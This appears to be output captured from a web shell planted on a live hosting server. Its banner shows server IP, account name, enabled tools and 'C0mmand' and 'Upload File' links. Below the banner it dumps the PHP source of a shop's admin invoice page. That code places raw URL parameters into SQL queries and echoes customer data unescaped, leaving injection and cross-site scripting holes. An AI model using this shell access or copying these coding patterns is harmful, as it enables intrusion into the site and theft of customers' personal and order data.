|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/agriba/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include'loginQuery/session_start.php';
include'dbc.php';
$pageTitle="Order List";
$pageName="Order List";
// $tableName="tbl_product";
// $addPageUrl="product.php";
// $deleteMode="deleteProduct";
?>
<?php
date_default_timezone_set("Asia/Kolkata");
$dt= date('d/m/Y', time());
$oid=$_GET['oid'];
$invoiceid=$_GET['invoice'];
$q2=mysqli_query($conn,"select * from tbl_order_details where order_id='$invoiceid'");
$p2=mysqli_fetch_array($q2);
$ordernote=$p2['ordernote'];
$vistingcarddetail=$p2['vistingcarddetail'];
$image1=$p2['image1'];
$image2=$p2['image2'];
$q3=mysqli_query($conn,"select * from visitng_card_images where random_value='$image1'");
$p3=mysqli_fetch_array($q3);
$image_1=$p3['file_path'];
$q4=mysqli_query($conn,"select * from visitng_card_images where random_value='$image2'");
$p4=mysqli_fetch_array($q4);
$image_2=$p4['file_path'];
$q1=mysqli_query($conn,"select * from view_user_order_details where orderId='$oid'");
$pl=mysqli_fetch_array($q1);
$customerid=$pl['customerid'];
extract($pl);
$sqlC=mysqli_query($conn,"select * from tbl_registration") or die(mysqli_error($conn));
while($rows=mysqli_fetch_assoc($sqlC)){
$userNameAry[$rows['id']]=$rows['name'];
$userMobileAry[$rows['id']]=$rows['mobile'];
$userAddressAry[$rows['id']]=$rows['address'];
$userEmailAry[$rows['id']]=$rows['email'];
}
$sqlP=mysqli_query($conn,"select * from tbl_product") or die(mysqli_error($conn));
while($rows=mysqli_fetch_assoc($sqlP)){
$productImageAry[$rows['productid']]=$rows['thumb1'];
$productNameAry[$rows['productid']]=$rows['productname'];
}
?>
<!DOCTYPE html>
<html>
<head>
<style>
.green{
background-color: darkseagreen;
color: darkseagreen;
}
.red{
background-color: indianred;
color: indianred;
}
</style>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<meta content="IE=edge" http-equiv="X-UA-Compatible">
<!-- Page title -->
<title>
<?php echo $pageTitle;?>
</title>
<!-- Place favicon.ico and apple-touch-icon.png in the root directory -->
<!--<link rel="shortcut icon" type="image/ico" href="favicon.ico" />-->
<!-- Vendor styles -->
<?php include'include/header-file.php';?>
<!--select feild css-->
<link rel="stylesheet" href="vendor/select2-3.5.2/select2.css" />
<link rel="stylesheet" href="vendor/select2-bootstrap/select2-bootstrap.css" />
<link rel="stylesheet" href="vendor/bootstrap-touchspin/dist/jquery.bootstrap-touchspin.min.css" />
<link rel="stylesheet" type="text/css" href="styles/pagination.css">
<?php include'message.php';?>
</meta>
</meta>
</meta>
<style>
.small-header .panel-body h2 {
margin-top:3px;
}
.hbreadcrumb {
margin-top:0;
}
p {
margin: 0 0 10px;
/* overflow: auto !important;*/
height: 46px !important;
}
p::-webkit-scrollbar {
width: 5px;
}
p::-webkit-scrollbar-track {
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);
}
p::-webkit-scrollbar-thumb {
background-color: darkgrey;
outline: 1px solid slategrey;
}
</style>
</head>
<body>
<!-- Simple splash screen-->
<!--[if lt IE 7]>
<p class="alert alert-danger">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.</p>
<![endif]-->
<!-- Header -->
<?php include'include/header.php';?>
<!-- Header End-->
<!-- Navigation -->
<?php include'include/side-menu.php';?>
<!-- Navigation -->
<!-- Main Wrapper -->
<div id="wrapper">
<!----------------start top normal header--------------------->
<div class="small-header">
<div class="hpanel">
<div class="panel-body">
<h2 class="font-light m-b-xs">
<?php echo $pageName;?>
</h2>
<small><?php echo $pageTitle;?></small>
</div>
</div>
</div>
<!----------------end top normal header--------------------->
<div class="content">
<div class="row">
<div class="col-lg-12">
<div class="hpanel">
<div class="panel-body">
<div class="row">
<div class="col-md-6">
<h4>INVOICE</h4>
</div>
<div class="col-md-6">
<!--<div class="text-right">-->
<!-- <a href="orderInvoice.php?oid=<?php echo $pl['orderId'];?>&invoice=<?php echo $pl['detailsorder_id'];?>" target="blank"><button class="btn btn-primary btn-sm"><i class="fa fa-print" aria-hidden="true"></i> Print</button></a>-->
<!--</div>-->
</div>
</div>
</div>
<div class="panel-body p-xl">
<div class="row m-b-xl">
<div class="col-sm-6">
<!-- <h4><?php echo $pl['orderId']; ?></h4> -->
<h4>Billing Details:</h4>
<address>
<strong><?php echo $fName; ?></strong><br>
<b> Address : </b> <?php echo $address; ?><br>
<b> City : </b> <?php echo $city; ?> <br>
<b> State : </b> <?php echo $state; ?> <br>
<b> Country : </b> <?php echo $country; ?> <br>
<b> Pincode :</b> <?php echo $pinCode; ?> <br>
<b>Phone : </b> <?php echo $phone; ?> <br> <b>Alternate Phone : </b> <?php echo $alternate_phone; ?> <br>
<b>Email ID : </b> <?php echo $email; ?>
</address>
</div>
<div class="col-sm-6 text-right">
<h4>Shipping Details:</h4>
<?php
if($samebilladdress=='1')
{
echo "<b>SAME AS BILLING ADDRESS</b>";
}
else
{ ?>
<address>
<strong><?php echo $delName; ?></strong><br>
<b> Address : </b> <?php echo $deladdress; ?><br>
<b> City : </b> <?php echo $delcity; ?> <br>
<b> State : </b> <?php echo $delstate; ?> <br>
<b> Country : </b> <?php echo $delcountry; ?> <br>
<b> Pincode :</b> <?php echo $delpincode; ?> <br>
<b>Phone : </b> <?php echo $delphone; ?> <br> <b>Alternate Phone : </b> <?php echo $delphone2; ?> <br>
<b>Email ID : </b> <?php echo $delemail; ?>
</address>
<?php }
?>
<p>
<span><strong>Order Date:</strong><?php echo $pl['orderDate']; ?></span><br/>
<span><strong>Payment Method:</strong> <?php echo $pl['paymentType']; ?></span><BR>
<span><strong>Payment ID:</strong> <?php echo $pl['payment']; ?></span>
</p>
</div>
</div>
<div class="table-responsive m-t">
<table class="table table-striped">
<tr>
<th colspan="8">
<center>
<h3><strong>Order Detail</strong></h3>
</center>
</th>
</tr>
<tr>
<th>Sr.No.</th>
<th>Product Image</th>
<th>SKU</th>
<th>Product Name</th>
<th>Size</th>
<th>Price</th>
<th>Qty</th>
<th>Total</th>
</tr>
<?php
$i=1;
$oid=$_GET['oid'];
$invoice=$_GET['invoice'];
$sql=mysqli_query($conn,"select *from view_user_order_details where orderId='$oid' and detailsorder_id='$invoice'")or die(mysqli_error());
while($data=mysqli_fetch_assoc($sql))
{
extract($data);
?>
<tr>
<td><?php echo $i++; ?></td>
<td><a href="" target="_blank"><img height="50" width="50" src="../media/product/thumb/<?php echo $productImageAry[$product_id];?>"></a></td>
<td><?php echo $sku; ?></td>
<td><?php echo $productNameAry[$product_id];?></td>
<td><?php if($size=='0') { } else { echo "<p style='font-size:12px'>$size</p>"; } ?></td>
<td>₹ <?php echo $price; ?></td>
<td><?php echo $quanitity; ?></td>
<td>₹ <?php echo $price*$quanitity; ?></td>
</tr>
<?php
}
?>
<tr>
<th colspan="7">Payment Method</th>
<th><?php echo $pl['paymentType']; ?></th>
</tr>
<tr>
<th colspan="7">Sub Total</th>
<th>₹ <?php echo $pl['subTotal']; ?></th>
</tr>
<tr>
<th colspan="7">Shipping Charge</th>
<th>₹ <?php echo $shippingCharge; ?></th>
</tr>
<tr>
<th colspan="7">Wallet Discount</th>
<th style="color:red"> - ₹ <?php echo $usedWallet; ?></th>
</tr>
<tr>
<th colspan="7">Grand Total</th>
<th>₹ <?php echo $pl['grandTotal']; ?></th>
</tr>
</table>
</div>
<div>
<div class="row">
<h3><strong>Order Note</strong></h3>
<table class="table">
<tr>
<th>Order Note</th>
<th><?php echo $p2['ordernote']; ?></th>
<tr>
</table>
<hr>
<h3><strong>Printing Details</strong></h3>
<table class="table">
<tr>
<th>Name</th>
<td><?php echo $p2['name']; ?></td>
<tr>
<tr>
<th>Mobile</th>
<td><?php echo $p2['mobile']; ?></td>
<tr>
<tr>
<th>Email</th>
<td><?php echo $p2['email']; ?></td>
<tr>
<tr>
<th>Address</th>
<td><?php echo $p2['address']; ?></td>
<tr>
<tr>
<th>Other Details</th>
<td><?php echo $p2['vistingcarddetail']; ?></td>
<tr>
<tr>
<th>Images</th>
<?php
if($image_1!="")
{ ?>
<td><a href="../<?php echo $image_1; ?>" class="btn btn-sm btn-primary" target="_blank"> View 1</a></td>
<?php }
if($image_2!="")
{ ?>
<td><a href="../<?php echo $image_2; ?>" class="btn btn-sm btn-primary" target="_blank"> View2</a></td>
<?php }
?>
<!--<td><a href="../<?php echo $image_2; ?>" class="btn btn-sm btn-primary" target="_blank"> View 2</a></td>-->
<tr>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Footer-->
<?php include'include/footer-file.php';?>
<!--select feild css-->
<script src="vendor/bootstrap-touchspin/dist/jquery.bootstrap-touchspin.min.js"></script>
<script src="vendor/select2-3.5.2/select2.min.js"></script>
<!-- App scripts -->
</body>
</html>
<link rel="stylesheet" href="vendor/sweetalert/lib/sweet-alert.css" />
<script src="vendor/sweetalert/lib/sweet-alert.min.js"></script>
<script>
$(document).on('click','.demo3',function(){
var path=$(this).attr('path');
swal({
title: "Are you sure?",
text: "Your will not be able to recover this imaginary file!",
type: "warning",
showCancelButton: true,
confirmButtonColor: "#DD6B55",
confirmButtonText: "Yes, delete it!"
},
function () {
window.location.href=path
});
});
</script>
<!--<script type="text/javascript" charset="utf8" src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-2.0.3.js"></script>-->
<!-- Page specific javascripts-->
<script src="https://cdn.datatables.net/1.10.19/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/1.10.19/js/dataTables.bootstrap4.min.js"></script>
<script>
$('#example').DataTable( {
// "aLengthMenu": [[25, 50, 75, -1], [25, 50, 75, "All"]],
// "iDisplayLength": 25
dom: 'Bfrtip',
buttons: [{
extend: 'pdf',
title: 'Customized PDF Title',
filename: 'customized_pdf_file_name',
}, {
extend: 'excel',
title: 'Customized EXCEL Title',
filename: 'customized_excel_file_name'
}, {
extend: 'csv',
filename: 'customized_csv_file_name'
}]
} );
</script>